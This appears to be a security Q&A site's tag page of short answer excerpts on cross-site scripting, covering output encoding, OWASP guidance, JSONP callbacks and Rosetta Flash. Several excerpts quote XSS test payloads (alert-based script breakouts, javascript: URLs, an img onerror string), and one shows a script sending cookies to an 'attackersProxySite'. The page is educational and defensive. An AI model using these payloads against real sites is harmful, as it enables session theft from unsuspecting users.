Tag Info

New answers tagged

1

There is an attack that uses this exact attack vector, called Rosetta Flash (CVE-2014-4671). As explained on the Rosetta Flash page, the vulnerability is that: With Flash, a SWF file can perform cookie-carrying GET and POST requests to the domain that hosts it, with no crossdomain.xml check. This is why allowing users to upload a SWF file on a ...


0

I think OP is focusing on the wrong place by looking at the URL. All GET and POST parameters can be abused, regardless of what they're called. The only relevant code is that which uses this parameter. For example, you can have an SQL injection vulnerability if you concatenate this parameter on to an SQL query: db_query("SELECT code FROM callbacks WHERE id ...


1

Any software needs to be maintained. Honeypots are no exception. Because honeypots are designed to be probed and hacked, they need to be placed in a separate and secured environment with the understanding that they may be completely overtaken. Make sure the servers that honeypots are running on are part of your regular patch management process, and make ...


3

They're just as vulnerable as any other software would be to a vulnerability, so to your specific question it would be just as vulnerable. Remember though that in the case of shellshock the honeypot would have to be passing input to a bash shell to be vulnerable. Of course, is another component on the system is vulnerable, the honeypot could still be ...


1

His point of contention was that it can bypass crossdomain policies if someone visits page with this in it: <script src=www.site.com/ajax/ads.asp?callback=[some javascript]></script> Yes, he's right. But that doesn't seem to be a security hole, instead, it looks like a feature. This technique of circumventing the same-origin-policy is ...


49

Plaintext injection is an issue. Say you have a page template that looks like this: Hi <name>, Blah blah blah. And you can inject from the URL. An attacker can construct an email with a link to ...


39

Cross site scripting is not a threat to the integrity of your web server. Rather, the problem is that an attacker can craft a site.com URL that will execute arbitrary JavaScript. If your users trust your site and allow it to do whatever it wants, this could be a major security hole.


20

Imagine if the injected text was: "></script><script>alert("hi");" which would make it look like this: <script src="http://www.site.com/ajax/ads.asp?callback="></script><script>alert("hi");""></script> Then, you have a working custom script that can do anything it wants in the page.


0

Well its not possible to access the contents of cross domain iframe (by default) using js (that's how the add with be displayed I guess). Otherwise the whole concept of using a pseudo random nonce (particularly those CSRF Mitigation methods that relies on static rewriting of pages) would be a complete failure. Chrome for example shows following error, when ...


2

<a href=”http://www.mypage.com/page.asp?var1=<%=server.urlencode(var1)%>”> Here you are here injecting content into a URL component, inside HTML. So in principle the correct thing to do would be to URL-encode the variable, and then HTML-encode the output of that: <a href="http://www.mypage.com/page.asp?var1=<%= ...


1

Correct although technically you should URL encode then HTML encode for output to a HTML page. However, the ASP URL encode function URL encodes the required characters to prevent output escaping from the HTML attribute context and also does not output any characters that should be HTML encoded. When showing an image I would also validate var1 to ensure it ...


0

What about a link such as http://example.com/CombinedScripts?file=<script>send(cookie.getData,attackersProxySite);</script> ? Do your properly encode the html characters passed in? Edit: Since this appears to allow the attacker to send any javascript from you webiste site to thier webpage, I thought this would allow them to access data they ...


5

Generally speaking, no, this is not a Cross Site Scripting (XSS) issue. You can have three problems: If the attacker control the first bytes of the output, the Rosetta Flash attack can be used to trigger a Cross Site Scripting (XSS), regardless of the content-type of the page. But if you start the output with /*, like you said you do, I can not see any ...


0

Depends on if you are serving the content-type correctly on your js files. It is a common misonfiguration for js files to be served with text/html content-type. This won't break a page including the js file, but it will cause a modern browser to render the file as html if the url is enterred directly in the address bar. A scammer can send bogus urls via ...


2

Depends on the context. A very short one: Context: <script src="%XSS%"></script> Let's say you are the owner/maintainer/administrator of http://.to (Tonga gTLD). <script src="//to"></script> XSS with 4 chars. Probably one of the shortest possible. There are dozens of other contexts. Edit: Tested on Chrome ...


1

Inside the element, the parsing mode is in data state. The only special characters that can escape data state are < and & (http://www.w3.org/TR/html5/syntax.html#tokenization sec.8.2.4.1). If you replace all instances of < with &lt; then you only need worry about &. In HTML4 and XML, you would need to consider which entity references are ...


1

There's a ton of ink written on the subject of why you shouldn't try doing your own homebrew filters for these things! Please have a look at OWASP's XSS mitigation guidelines. Use the proper libraries for these things - OWASP ESAPI for PHP is a great tool to start with. I'd look at HTML Purifier as well.


1

It isn’t sufficient, no. Contrived backslash example: <script> var param1 = '{{ param1 }}'; var param2 = '{{ param2 }}'; </script> param1=\&param2=;alert(1)// <script> var param1 = '\'; var param2 = ';alert(1)//'; </script> Not to mention that your data won’t survive intact: <script> var param1 = '&lt;'; ...


5

Don't rely on using your own "conversion" rules, OWASP recommends using a security-focused encoding library to make sure the necessary rules are properly implemented. Escape the following characters with HTML entity encoding to prevent switching into any execution context, such as script, style, or event handlers. In addition to the 5 characters significant ...


17

I'm generally a fan of not re inventing the wheel because people way smarter than us already did. I did a quick search for you and found the current library you can use: https://code.google.com/p/php-antixss/ Re: your code, it looks a little too simple to prevent fully. I would use a standardized solution that is used by others and continuously contributed ...


6

No, it is not. Try insert javascript&colon;alert(9) as the URL, or like @wireghoul pointed, JAVASCRIPT:alert(9). Even with javascript :alert(9) in older browsers (IE < 8, I guess). Better solution: <?php header('Content-Type: text/html; charset=utf-8'); header('X-Content-Type-Options: nosniff'); $site = $_GET["url"]; $site_lowercase = ...


2

Updated browsers will encode the referrer URL. So your examples will not work to trigger XSS nowadays. Try this: <div id="cat"></div> <script> document.getElementById("cat").innerHTML = decodeURIComponent(document.referrer); </script> JSFIDDLE: http://jsfiddle.net/y4afy8h9/1/?<img%20src=x%20onerror=alert(9)>?


1

The terminology is a little slippery, but usually an "XSS bug" is a client-side exploit of a server-side vulnerability. Cross-site scripting is not, in and of itself, a security problem. The problem is that it can happen without the end user's knowledge. Most sites aren't coded for this to happen, of course: either they don't use cross-site scripting at ...


1

You might need to re-read the advisory, the important part is this: A text containing carefully mixed square and angle brackets confuses the splitting process and results in HTML code getting partially texturized. An attacker can exploit the bug to supply any attributes in the allowed HTML tags. A style attribute can be used to create a ...


-2

Contrary to what many other believe, xss is both client side and server side. A persistent xss is server side as the server stores the code to be executed in the client. When it is non-persistent, it is considered client side, as the client can only get the result through that input Make sense?


0

It is generally best practice to filter as many things as you can on the server side and not on the client size for the following reasons: Performance Liability (Once you have sent out data you shouldn't have, you can not control the effects of it) User Safety (You generally don't know what version of your client the users have) An XSS attack is not much ...


3

Cross-site Scripting (XSS) attacks can generally be categorized as one of: Stored XSS Attacks Reflected XSS Attacks DOM Based XSS Attacks The attack itself is taking place on the client. All three attack types could fully manifest themselves in the browser itself in the case of a single page or offline application. However, if the data is stored on the ...


7

It manifests itself on the client side, but that is because it is allowed to do so by the web application. The application doesn't validate the code that it sends back to the browser. And thats why it is a server side vulnerability. Think about it this way. What would you do to fix the issue of XSS? Fix the server side code or fix the browser?


26

In a cross-site scripting attack, the malicious script is run on the client, but the actual flaw is in the application. That doesn't necessarily mean that it is a strictly server-side vulnerability, in that the flaw could be in the application's JavaScript, but generally, it is indeed in server-side code, and always in code that is delivered by the server. ...


4

It depends on where within the HTML document the data is printed as there are different contexts within different rules. Replacing a literal < by &lt; is only viable when < is a special character, which would change the current parsing state. There is a quick overview of prevention rules in OWASP’s XSS (Cross Site Scripting) Prevention Cheat ...


3

This is very bad practice. You are keeping a blacklist. But recommended way is keeping a whitelist which give only allowed chars after a filter. Answer to your question is, < can be hex encoded and write in other encoded schemes. So Simply replacing < with &lt; would not be adequate.


1

Where are you parsing out the <? If it is on the client, then you have have only maybe stopped a ten year old hacker (but not this ten year old hacker). However, if you are parsing out the executable code server-side, then yes, you've effectively stopped this particular form of injection -although there are more complete and secure ways of doing this. ...


4

Depends on a lot of factors. If the malicious input (all user's input is malicious by default) is echoed just to your HTML body and your server sends the headers "Content-Type: text/html; charset=utf-8" and "X-Content-Type-Options: nosniff", the answer is yes, this method is secure enough. When I say HTML body, I am supposing you are echoing the input to ...



Top 50 recent answers are included